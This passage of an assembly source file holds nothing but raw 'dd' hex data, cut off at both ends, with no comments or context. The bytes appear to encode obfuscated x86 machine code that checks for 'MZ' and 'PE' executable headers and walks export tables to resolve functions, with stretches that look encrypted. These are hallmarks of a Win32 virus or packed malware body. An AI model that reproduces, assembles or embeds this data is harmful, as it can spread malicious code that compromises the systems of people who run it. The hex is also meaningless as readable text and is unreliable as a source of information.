7E97Fh, 0D0870000h, 8AEF54F3h, 18408BE2h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 47C35747h dd 0D0F7A54Fh, 8DBC41C3h, 1C45BD89h, 6A400603h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0DFDDC353h, 4B518213h, 28858926h, 6006067Ch, 18D18D29h dd 81660603h, 612CF8C0h, 50006A58h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 5585894Fh, 0F060306h dd 198Dh, 14E900h, 9FDB0000h, 12060AA8h, 0C0F0B9F1h, 0B12EBBCCh dd 0A7FB5C94h, 708B2C37h, 56006A78h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 71C17F1Eh dd 49B5895Ch, 0E9060320h, 0Ch, 0E773DF7Dh, 321EA544h, 8C8310Dh dd 601CC683h, 1AFD9D29h, 8D8B0603h, 6030F69h, 6A9661h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0BE6685C3h, 0C810FCFh, 0F000000h, 68Dh, 0D5958900h dd 8106032Ch, 24247Ch, 0F100000h, 0EF87h, 0A9950900h, 50060309h dd 0E8F98B60h, 10h, 3FF30996h, 84F30017h, 0DE423FB8h, 12A3F7BEh dd 9E8h, 0C8E10900h, 0D5E69C58h, 5F5B3F3Ah, 24048961h dd 10E9h, 89967B00h, 71C3C0CDh, 9ECBB28Eh, 0E61B9E2Eh dd 24448B2Ah, 53006A28h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 48BD17D2h, 0FCAE0395h, 11E950h, 0FEE40000h dd 0DE99A394h, 6221AC0Bh, 3FA9AC53h, 89E25C0Dh, 6A2404h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0E4E801C3h, 0DE9h, 9063A400h, 0AB4B84D4h, 799797C5h dd 9589AF96h, 6030989h, 49F4858Dh, 6A0606h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 8D318EC3h dd 6031B09h, 8589D0FFh, 60312D9h, 1958996h, 3060318h, 6A242474h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0C308C352h, 2A5B1BF9h, 0F82DCBBh, 0B80h dd 0CB816000h, 5C47E6Dh, 61F6B70Fh, 649BD8Dh, 85890603h dd 6032C2Dh, 0CE9F8ADh, 5B000000h, 28C75B16h, 0C989770h dd 8144C63Eh, 24247Ch, 0F100000h, 10287h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 6111B302h, 6AEFB476h, 0BE9h, 31C26200h, 4EBED7B7h, 0C8321B8Ah dd 0DE990h, 4B2D0000h, 116F1832h, 8833065h, 50CCB770h dd 8B5E5760h, 6A9061FBh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 1053C355h, 7820FF5h dd 0F000000h, 18Ch, 448BF500h, 8E92824h, 0C5000000h, 93845CAFh dd 50D124E7h, 3FB86660h, 10E82Ch, 1D970000h, 344BAFCAh dd 18D14FD3h, 364DE6C4h, 880FEB80h, 0 dd 4896159h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 0FB9962Bh, 880h, 2870F00h, 60000000h dd 0F4858D61h, 29060649h, 32F7185h, 0E9D0FF06h, 13h, 65B31643h dd 0E5D0494Ah, 3802067Ah, 0A43070ABh, 38E9E2Bh, 6A242444h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 1242C353h, 8E9h, 7684D100h, 0A21901D1h, 8B60AB03h dd 3134D85h, 0FE906h, 5E440000h, 0B42AEA3Ah, 4A26063h dd 0B576F0DFh, 0FA81611Eh, 10000h, 7CE820Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 7A235C3h, 95891C32h, 60326CDh, 0D5BD8DF8h, 0FC060308h dd 7C81F9ADh, 2424h, 870F1000h, 109h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 85C35343h, 96682C65h, 0F5C3A448h dd 50525090h, 820F52h, 0F000000h, 870F31h, 5A000000h, 0E9310F58h dd 0Dh, 9ABF6215h, 3CFEBCBCh, 3C6C7171h, 50585A5Fh, 118F0Fh dd 0CE90000h, 68000000h, 0FAC6FCCBh, 0B01AF848h, 90D4A2D0h dd 1890Fh, 8BF50000h, 6A282444h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 6E61C352h, 37349FD7h dd 1845BD89h, 50500603h, 10E952h, 0D4E0000h, 45ABCBF5h dd 382275A5h, 4962CCBh, 310FCF03h, 6800Fh, 8A0F0000h, 0 dd 489585Ah, 39B58924h, 8D060330h, 649F485h, 5953106h dd 0FF06032Dh, 57006AD0h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 37C50BBDh, 608BD7BAh dd 21218D29h, 820F0603h, 0 dd 24440361h, 0DE924h, 1B190000h, 556E8FBBh, 6E5AA921h dd 904BC8BAh, 0DE9h, 0FE09EB00h, 3A90A9E7h, 9D0F572Ch dd 0F503CC3h, 0C89h, 68D0F00h, 50000000h, 5A310F52h, 6A9058h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0B53D64C3h, 4D852993h, 31060314h, 315D985h, 2960AB06h dd 3265D9Dh, 0B5295006h, 6031881h, 0BD8D615Ah, 6030B99h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0D0C35040h dd 0A0988BFBh, 8B60AD68h, 3298DBDh, 10E806h, 8AE10000h dd 0DE831E44h, 202A1E4Dh, 0F1017938h, 0B5295B4Eh, 603215Dh dd 0B531615Fh, 6030B69h, 28247C81h, 10000000h, 124870Fh dd 9D890000h, 6032281h, 13E950h, 63800000h, 0E984824Ch dd 42768758h, 94BA222Fh, 0BC9BC6CFh, 2404892Fh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 9EC35545h, 0BF0F603Ah dd 448B61C0h, 6A2C24h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0DDA5DDC3h, 0A268488Ah, 29F5E4BCh dd 32CE195h, 840F9006h, 0Ch, 6880Fh, 820F0000h, 0 dd 6E950h, 0DFFE0000h, 3FE8728Ah, 8840F90h, 0F000000h dd 289h, 8D616000h, 649F485h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0DA795305h dd 3B56E24Dh, 0B9958960h, 0E906032Eh, 0Dh, 51419E34h, 8F2EB188h dd 0F6F79Bh, 0D0FF6158h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 9CC35141h, 28F70DF0h, 2A34D4C0h, 2529BD89h dd 0FE90603h, 0C6000000h, 1F2133E8h, 39654041h, 341B3413h dd 4403E063h, 6A2824h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0EB5FC3C3h, 10067846h, 9E9h, 1DDD200h dd 39C0A36Dh, 85293120h, 60317A9h, 53006AABh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 8DFF5E40h dd 6067C28h, 7C28BD83h, 75000606h, 8DC0330Ah, 68B6AB5h dd 56E6FF06h, 247C81ADh, 28h, 500E7710h, 2C24448Bh, 0F4858D50h dd 0FF060649h, 244403D0h, 0DF8B9728h, 7C24858Ah, 0C0840606h dd 73A0474h, 32574C75h, 0FD75AEC0h, 52FB2B5Eh, 49C933FCh dd 0C033D18Bh, 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h dd 73D8D166h, 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h dd 754FD333h, 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h dd 835E0F74h, 85FF04C6h, 60302BDh, 0FFFF5DE9h, 860F5EFFh dd 1, 51006AF5h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 0DE7CC47Eh, 29F4A230h, 30E598Dh dd 6810F06h, 89000000h, 30755B5h, 0BD858B06h, 60060302h dd 5880Fh, 14BA0000h, 60507560h, 0CDD9D8Bh, 13E90603h dd 0AB000000h, 0C9D30E9Eh, 0A8F896D8h, 0B8315DADh, 8D51ECA2h dd 6161A67Fh, 6AE0D1h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 33745C3h, 30B9985h, 128A0F06h, 0E9000000h dd 0Dh, 0B651AA7h, 4082700Dh, 70E691DCh, 6860F25h, 89000000h dd 3007D95h, 0BE06h, 8B0F0000h, 1, 6A96F8h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 3D39D7C3h dd 10E9h, 0BF30F100h, 99CF0D58h, 3692F422h, 603FA6FFh dd 6AAD66EEh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0E812C352h, 0E870Fh, 1600000h dd 32D318Dh, 0EDD38106h, 61187AD6h, 6A02E0C1h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 3BDC352h, 3064985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 258D47F4h, 0C19DD59Bh dd 8B6032E7h, 3263985h, 218D0306h, 6106032Ch, 0BE996h dd 0F4C40000h, 92EEE48Ch, 97FACF18h, 88E0F22h, 0F000000h dd 284h, 0AD616000h, 19819D89h, 7C810603h, 2424h, 870F1000h dd 135h, 666050FCh, 0D9BFFA8Bh, 611E1D2Fh, 6A240489h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 6070C355h, 8B81F280h, 448B61D6h, 90F92824h, 810F5250h dd 6, 310F5250h, 310F585Ah, 6880Fh, 52500000h, 585A310Fh dd 6050585Ah, 8BF88B66h, 6A9061D8h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 6096C351h dd 12E99589h, 85890603h, 60325DDh, 88E0F61h, 60000000h dd 80F98B66h, 0E96197CDh, 0Bh, 0C03821E2h, 5D704EC4h, 8D796B96h dd 649F485h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 7303488Bh, 840F484Bh, 9, 820FFC60h dd 0 dd 13E961h, 19A40000h, 89E6C86Fh, 0CE1D73FDh, 854C9C5Eh dd 702E9899h, 6AD0FF7Dh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 152BC357h, 0FBB08BF3h dd 0EE960h, 1E5C0000h, 1240982Bh, 3EA524BBh, 407F973Dh dd 2860Fh, 0FE8A0000h, 24440361h, 71B58924h, 89060325h dd 601C2444h, 9E9h, 0A5825F00h, 12ECB50Ch, 0BF0F5F8Fh dd 85C661C1h, 6031BA1h, 0B685C700h, 6067Dh, 0C7000000h dd 67C2C85h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 3334212h, 0ED9D89F5h dd 6106032Eh, 2F0D9D89h, 8C20603h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 35D583ABh dd 11E98FE9h, 0CA000000h, 0BF395B8h, 1299DFE3h, 0E5690D7Ah dd 13657289h, 649858Bh, 9E90603h, 0F4000000h, 3B2ADB5Ch dd 5A1B72AFh, 0BD31604Ah, 6030FA9h, 201D9589h, 6B610603h dd 6A04D2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0F6094C3h, 86h, 1390B900h, 3610351h, 56006AC2h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 964A9477h, 9531ADF8h, 60322F5h, 24247C81h, 10000000h dd 0F2870Fh, 890F0000h, 0Ch, 6800Fh, 0B5090000h, 6032149h dd 0F525050h, 684h, 860F00h, 0F000000h, 5A616031h, 24048958h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 52C35646h dd 620EBF36h, 9F43ECAh, 320B1B5h, 55B50906h, 8B060313h dd 0F8282444h, 0FE950h, 63470000h, 89F8AD45h, 4EED632Fh dd 0A024983Fh, 24048984h, 0D3816660h, 7E9AE8Eh, 0BE000000h dd 33DB7313h, 0E961D74Ah, 13h, 5DF2C82Bh, 0F0661F10h, 0CEF181D7h dd 793B4C0Ah, 8D111CB2h, 649F485h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 6B1BA9B0h dd 2275B531h, 0FFFC0603h, 56006AD0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 953170D1h dd 6030ABDh, 0FFFDE0E9h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 32B72665h, 9100858Dh dd 6A0606h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0F58DC6C3h, 8E950h, 72CD0000h, 55BF63E1h dd 4895438h, 0F5BD0924h, 64060326h, 35FFh, 0B5290000h dd 6031741h, 0E924048Bh, 0Ch, 0DF445105h, 0C7E93D30h, 0E7F65D6h dd 1C298589h, 0B5310603h, 60316EDh, 1B8B0Fh, 8A0F0000h dd 15h, 10E9h, 20432000h, 4992795Bh, 6FEC608h, 7C3611CEh dd 258964D0h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0ECC35040h dd 2F619D89h, 95290603h, 6030FE1h, 8F1C858Dh, 0E8600606h dd 12h, 4EB9F724h, 389AC313h, 19350513h, 981277FEh, 5FFC2C81h dd 48C0Fh, 0B9660000h, 0E961BAF7h, 13h, 0BD568C5Eh, 1BAA52F1h dd 0CE02F412h, 3374D2D5h, 8964B98Dh, 6A0160h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0ECFEECC3h dd 0DE9F58Dh, 0E8000000h, 90EF3AA5h, 0E384ACC0h, 5681E2E6h dd 259E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 95BD29CFh, 0E9060329h, 13h, 6A63366Eh dd 0E3BAAB6Ah, 0F6BECF7Ch, 33D37869h, 8B7B5622h, 0E8DBh dd 815D0000h, 68F15EDh, 0FF9CBC06h, 0BD830012h, 6030CC1h dd 8B187400h, 323ED85h, 0C606h, 2991858Bh, 0C60603h, 7995FF00h dd 60060307h, 7830B5FFh, 858D0606h, 6067834h, 2C858D50h dd 5006067Ah, 25E195FFh, 0C4830603h, 0B589610Ch, 603009Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D2C35242h dd 2A1CBD03h, 8D293356h, 6031E01h, 7A2CB58Dh, 6A0606h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0D71302C3h, 89F0C5EAh, 309A58Dh, 25B58906h, 6006031Ah dd 66F98B66h, 8D61FE8Bh, 300B5BDh, 0DE906h, 516A0000h dd 0FB4F9DE3h, 0B3802EE8h, 80A3DAAFh, 840F003Eh, 88h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 74C35343h, 8C0F238Bh dd 0Eh, 318D3160h, 89060314h, 3164995h, 0A4F56106h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0B9C35545h, 0C18A6046h dd 5AB1DA81h, 1613B63h, 302C19Dh, 0FF91E906h, 6AFFFFh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 9D42CCC3h, 0FC8DF298h, 0BD09C02Bh, 60323BDh, 0E1BD09AAh dd 0B8060307h, 7, 11E9h, 4C1BEC00h, 4EBF76FAh, 1BA74F79h dd 2550D279h, 85C7BFA0h, 60314CDh, 1, 0EA2ABA60h, 850F3ADEh dd 1, 8D8D61F5h, 6034D69h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 50C35545h, 0E1FF232Dh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ch, 0AC35242h, 61A06736h dd 0E18A6CF7h, 245C8BFCh, 0E8550Ch, 5D000000h, 910AED81h dd 838B0606h, 0B8h, 78308589h, 858D0606h, 6068F0Eh, 0B88389h dd 335D0000h, 6AC3C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 7C71E1C3h, 0DD3344F5h, 0BD29FEB8h dd 60319D5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0AAC35040h, 89CFA91Ch, 31FF18Dh, 6A6006h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0EFED6AC3h, 8F643D8Dh, 5E9h, 76675C00h, 858DA262h, 60693D8h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 24C35343h dd 7B447DAAh, 2B60DFD9h, 322C19Dh, 61F38B06h, 6E96090h dd 36000000h, 311FD1CCh, 0B86657CAh, 6159C974h, 0C8F0F50h dd 0F000000h, 689h, 0F525000h, 90585A31h, 0BE9h, 0BBA7AF00h dd 0F44ABE3Bh, 30E4EFAh, 35FF64h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 6F07C356h, 8960F236h, 325D9B5h, 6DBD8B06h, 61060330h dd 258964h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 0DA88C351h, 1C5D46B6h dd 890FA8CAh, 314D995h, 6F858D06h, 6A060694h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 0C59AC350h, 43C04D20h, 68F0F00h, 89000000h, 31D59BDh dd 1608906h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 7C35545h, 0A1FF670Bh, 359D01FDh, 0C6060314h, 31BA185h dd 8B604F06h, 31FB585h, 21952906h, 61060316h, 6B592268h dd 148F0FC7h, 0E9000000h, 0Fh, 696C2C29h, 0C5845E46h, 91715C6Ah dd 81395FA1h, 2D082434h, 896039A3h, 32A15B5h, 399D8B06h dd 61060326h, 2471B5FFh, 6A0603h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 1EB213C3h, 0E46E1C21h dd 0E91D1370h, 0Eh, 0B4EA17Eh, 8E74BFBCh, 0C95716BFh, 858D7D54h dd 6067C58h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 1BC35040h, 0C47631F3h, 8E934h, 9F210000h, 9B3D5A9Eh dd 0D0FF318Dh, 0CB8B6660h, 8D8D8960h, 8B060307h, 30F8185h dd 0E9616106h, 0C4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 94C35545h, 0CE9h, 1B66F00h, 0DD520290h dd 5AA3BF81h, 245C8B00h, 0E8550Ch, 5D000000h, 93E2ED81h dd 858B0606h, 60302E1h, 24718589h, 858B0603h, 6033121h dd 2ABD8589h, 858B0603h, 6031F9Dh, 9698589h, 85C60603h dd 6031BA1h, 0B685C700h, 6067Dh, 8D000000h, 6946F85h, 0B8838906h dd 5D000000h, 6AC3C033h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0D907C355h, 0FB2898C3h dd 3CC90FE3h, 0DB59D89h, 8F0F0603h, 6, 2A499589h, 29600603h dd 326CD85h, 61F98B06h, 12FF74BCh, 8E900h, 0C26F0000h dd 0F156FFCh, 8F64806Bh, 5, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0FBB1DF8Bh dd 9FE42BFAh, 218D093Bh, 0E9060303h, 0Eh, 43360E4Bh, 7420169Eh dd 51086A49h, 0C4834C71h, 870F6004h, 2, 0C4806160h, 61F96191h dd 5E8h, 52232D00h, 800F9514h, 3, 5BD6B70Fh, 8198D0Bh dd 0C3810603h, 5975h, 29658D8Bh, 44B80603h, 0FF000016h dd 0D1B58933h, 5E060308h, 0F681F58Ah, 2E87A534h, 0E51B589h dd 0F6810603h, 4D02EBBEh, 564ED6BFh, 8DF68127h, 0F3EE93Eh dd 2356CAB7h, 3058D8Dh, 0F8038F06h, 4804EB83h, 0FFC1850Fh dd 0BA66FFFFh, 83E9412Fh, 53000000h, 57565251h, 1C245C8Bh dd 4D3B8166h, 68850F5Ah, 0F000000h, 33C43B7h, 3B8166D8h dd 850F4550h, 57h, 3785B8Bh, 8B1C245Ch, 74032473h, 8B561C24h dd 738B207Bh, 247C031Ch, 24740320h, 0C983FC20h, 5C8B41FFh dd 178B1C24h, 20245403h, 8A04C783h, 74C08402h, 75033A08h dd 0EB4243E8h, 75033AF2h, 0E1D15FE0h, 0F04B70Fh, 386048Bh dd 5F1C2444h, 5B595A5Eh, 330008C2h, 0FFF1E9C0h, 0CA8BFFFFh dd 0DE8h, 0EE4AF800h, 0A239D258h, 649DB663h, 81589AEFh dd 0B180C5D6h, 44C08121h, 33000066h, 11E9C9h, 0A67D0000h dd 0B9F68E8Dh, 0FBA6C3FFh, 0AF920F1h, 8B73CB3Dh, 7E9081Ch dd 71000000h, 0F366F06Fh, 0C3816B92h, 4EA93689h, 31F381F9h dd 66710405h, 0EB81F38Bh, 6309200Ch, 0CACE8166h dd 81C8989h, 8B8EE680h, 0AFE981F8h, 0E90B8FE3h, 10h, 152A55C1h dd 0A370D4DCh, 76F71B15h, 7D653C72h, 0E3ABC181h, 81660B8Fh dd 81C3D7F7h, 0FF9A74F9h, 1C850FFFh, 66000000h, 0E96CD4BFh dd 1Dh, 768BF9D3h, 8C7435AEh, 77173C64h, 0E90BA105h, 0E9C65535h dd 0FFFFFF7Bh, 369C88D6h, 0AE811h, 0D7100000h, 2519B21h dd 0E0FE9849h, 0E95B92B2h, 0Ch, 334F45B5h, 37861B7Eh, 0BC8AC945h dd 5B4CC381h, 81660000h, 68723AF1h, 16A3h, 38B0Fh, 0DD800000h dd 8B665FF5h, 0E833FFD7h, 5, 65EB544Fh, 0A6C68072h, 8A0F5E58h dd 2, 0C6816BB6h, 60EAF69h, 0EE81D38Bh, 255603D7h, 2E70EE81h dd 56F534B9h, 0F35BCA81h, 38F508Dh, 4EB83F9h, 9810Fh, 810F0000h dd 3, 8103DA80h, 1EFh, 0F850F00h, 8A000000h, 2CE9C6h, 60460000h dd 169F296Fh, 0FE9BA77h, 0B2000000h, 8A5F9C3Fh, 5EA97F2h dd 6C5B85A6h, 82E9746Eh, 59FFFFFFh, 95A8252h, 0D91F29EFh dd 48E9FD2Bh, 50000001h, 54000000h, 58000000h, 5C000000h dd 60000000h, 64000000h, 68000000h, 6C000000h, 0B0000000h dd 0B4000000h, 0B8000000h, 0BC000000h, 0C0000000h, 0C4000000h dd 0C8000000h, 0CC000000h, 0D0000000h, 0D4000000h, 0D8000000h dd 0DC000000h, 0E0000000h, 0E4000000h, 0E8000000h, 0EC000000h dd 38h dup(0) dd 4B000000h, 0EB005248h, 8D009A50h, 6975E85h, 9E858906h dd 60060698h, 89D1BF0Fh, 3044185h, 0B70F6106h, 0A185C6D8h dd 5406031Bh, 17418D0Bh, 1E680603h, 50E5E0A9h, 0FFD8A52h dd 52506031h, 585A310Fh, 5A616160h, 24048158h, 881BF0Bh dd 0D78DBF66h, 0EE8h, 43C6C700h, 992A816Eh, 8544C777h dd 8BF76E41h, 0B5FF5EF3h, 6032471h, 0C71B58Bh, 858D0603h dd 6067C58h, 0ABD98166h, 8BD0FFBEh, 31AF59Dh, 0A2858906h dd 0F8060698h, 3AE9h, 0D9BF0F00h, 9EB58B56h, 89060698h dd 9E858306h, 4060698h, 8D60C35Eh, 6975EB5h, 560FEB06h dd 36FF006Ah, 98A295FFh, 835E0606h, 3E8304C6h, 61EC7500h dd 799D09C3h, 8D060330h, 6994585h, 850F06h, 89000000h dd 31CF985h, 0E5E906h, 4D100000h, 71DCFFEEh, 0A1D1F32h dd 8FDD7A0Eh, 6D373353h, 3D557D2Fh, 0D57F2D77h, 577DD77Dh dd 0DF6DF73Dh, 0D773D575h, 0F73D577Dh, 75D55FEDh, 6D373353h dd 3D557D2Fh, 0D57F2D77h, 577DD77Dh, 0DF6D171Eh, 20602075h dd 0E0202060h, 0AC2060E0h, 0A9F77B68h, 0D020A1E4h, 0EDA693B2h dd 91B99DB7h, 20ACA3F2h, 20602060h, 0E0202060h, 752060E0h dd 0D0A3353h, 20557D2Fh, 20602060h, 2BA72860h, 0D650F036h dd 0EFB6F360h, 0E0F796A1h, 0B8E3A7B4h, 0B3F47192h, 0F76DB9E9h dd 2 dup(20602060h), 0DF6DF720h, 0D773351Ah, 0F73D577Dh dd 75D55FEDh, 6D373353h, 3D557D2Fh, 0D57F2D77h, 577DD77Dh dd 0DF6DF73Dh, 0D773D575h, 0F73D577Dh, 75D55FEDh, 6D373353h dd 1E357D2Fh, 0A8000E0Ah, 54A766C1h, 0C243F2FDh, 0E941C03Fh dd 0C71h, 69CDD68h, 0E3ABE906h, 0E768FFFCh, 0E906069Dh dd 0FFFCE3A1h, 69EAC68h, 0E397E906h, 4B68FFFCh, 0E906069Fh dd 0FFFCE38Dh, 69FCB68h, 0E383E906h, 7568FFFCh, 0E90606A0h dd 0FFFCE379h, 6A1E768h, 0E36FE906h, 0CF68FFFCh, 0E90606A2h dd 0FFFCE365h, 6A39168h, 0E35BE906h, 6E68FFFCh, 0E90606A4h dd 0FFFCE351h, 6A53A68h, 0E347E906h, 0A62FFFFCh, 0CD5371DDh dd 0EA7290FCh, 58FAD19h, 2DB2D03Ch, 0E531F05Ch, 5FCB9C21h dd 81EDB641h, 0A20ED763h, 0C02CFD84h, 2E440FBBh, 0C6D017DFh dd 32A5B8h, 8E9B6CF2h, 0D6114560h, 50B0310h, 0B6AEAD7Eh dd 6B63622Bh, 0C09117E5h, 0EE766E6Dh, 9E588F25h, 3386A481h dd 25222B34h, 0EAE7427Ah, 7EEABB42h, 459F333Ch, 2A9244AAh dd 1179115Fh, 81D4E1D6h, 512F5689h, 0AE79ABDDh, 0D6117940h dd 682B2330h, 0DC145F43h, 1F171623h, 3D5BC798h, 31E6E5B6h dd 0D0121FC6h, 0FFFECF56h, 1EDA18E3h, 8D9AD012h, 0EBEAB33Dh dd 0E88B8833h, 0AFED2A66h, 4D53A6A5h, 62E9918Eh, 0B5410F94h dd 9F9A99ECh, 46B1F954h, 55858AFh, 2FF88391h, 70F71537h dd 21A8A09Fh, 0D3595150h, 810B0302h, 5601B9B8h, 0E9A8AE59h dd 0ECBD44ECh, 0C0777C80h, 0DBBE5A3Ah, 0D000004h, 8AFECF56h dd 45678D58h, 20FD611h, 0D65D550Ah, 0B6B57E08h, 0B1FC68BBh dd 6D38AC74h, 0DC144A26h, 0FC4C3D0h, 0D01240E5h, 56E4E15Ah dd 5A3AE29Dh, 364CA0A9h, 5C37D553h, 7565AE11h, 901F67Ah dd 2DCEh, 0FC291D00h, 0C2E5B024h, 9CDC1468h, 830D1B8Fh dd 580DC2BAh, 0D012661Eh, 9F2D2AA3h, 5A3AC054h, 0F8DFh dd 3CC1CF00h, 0C215E66Eh, 0CF56FFCAh, 8D588AFEh, 0D6114567h dd 2BB2020Fh, 0B5AD625Ah, 68605F30h, 0F51110E1h, 929162E7h dd 12999F97h, 6193D541h, 11455896h, 130B18D6h, 11493750h dd 0DDE65D6h, 569C6799h, 0A0D61141h, 11419FD5h, 544A57D6h dd 0F2D4F47h, 93B8B788h, 4F1A8E6Ah, 0DC145BC8h, 81EFBAECh dd 71D0125Bh, 1211E267h, 20CCC417h, 215CA713h, 1118E357h dd 55DA15E4h, 41C6D448h, 916E844Fh, 0F906DA19h, 0EFF83AA6h dd 0B4520ACFh, 3C077BB0h, 0DA193E36h, 0B3B9B1BEh, 0E6065D2Eh dd 27D4C350h, 9421F26h, 0AA330000h, 0D15775E1h, 0EE769400h dd 993B11Dh, 31B6D440h, 0E935F460h, 63CFA025h, 85F1BA45h dd 0A612DB67h, 0C4300188h, 2A4813BFh, 0CAD017D9h, 2932A9BCh dd 0ED623153h, 747A7253h, 94B21EEFh, 810D1B0Dh, 0B1BEB9B8h dd 0D611D943h, 67D32633h, 0F7003284h, 620DE802h, 0D61C29DCh dd 9ED6112Bh, 0EABB4191h, 0C5F8F0EBh, 3E4CC058h, 0EEE9E8B9h dd 64F775A3h, 241C2F37h, 0B38C2FFAh, 0D9E6DC14h, 3CC5765h dd 57A1560Bh, 0C5D012BAh, 78706F40h, 192221F2h, 7C471310h dd 0D012BA76h, 759EF1FEh, 7A71FFFCh, 0B15A3A1Ch, 9Ch, 0DDCF5600h dd 1145DC12h, 348794D6h, 0E7B83D35h, 492833E8h, 0C148D611h dd 9E9D6EF3h, 0C6E450A3h, 4A6F6E3Fh, 6D145D3h, 0DC145C01h dd 28A01C21h, 0F7B5BB86h, 303DD012h, 2E7827E5h, 0F9246FDBh dd 7CCF9822h, 45ED3D08h, 5C69DA15h, 8455DAE8h, 0A475FA18h dd 0C43A234Dh, 707778D4h, 838h, 7FEBB43Dh, 9E0ADB61h, 0BB27F880h dd 0DE4A139Dh, 0FE6A3BC0h, 0AA2FF33Fh, 0C44F6DD9h, 0E5718FFBh dd 0B92B01Ch, 1DC9CE3Ah, 17D81C52h, 0B3C6D4D0h, 9400D156h dd 9521EF76h, 2A0D79CCh, 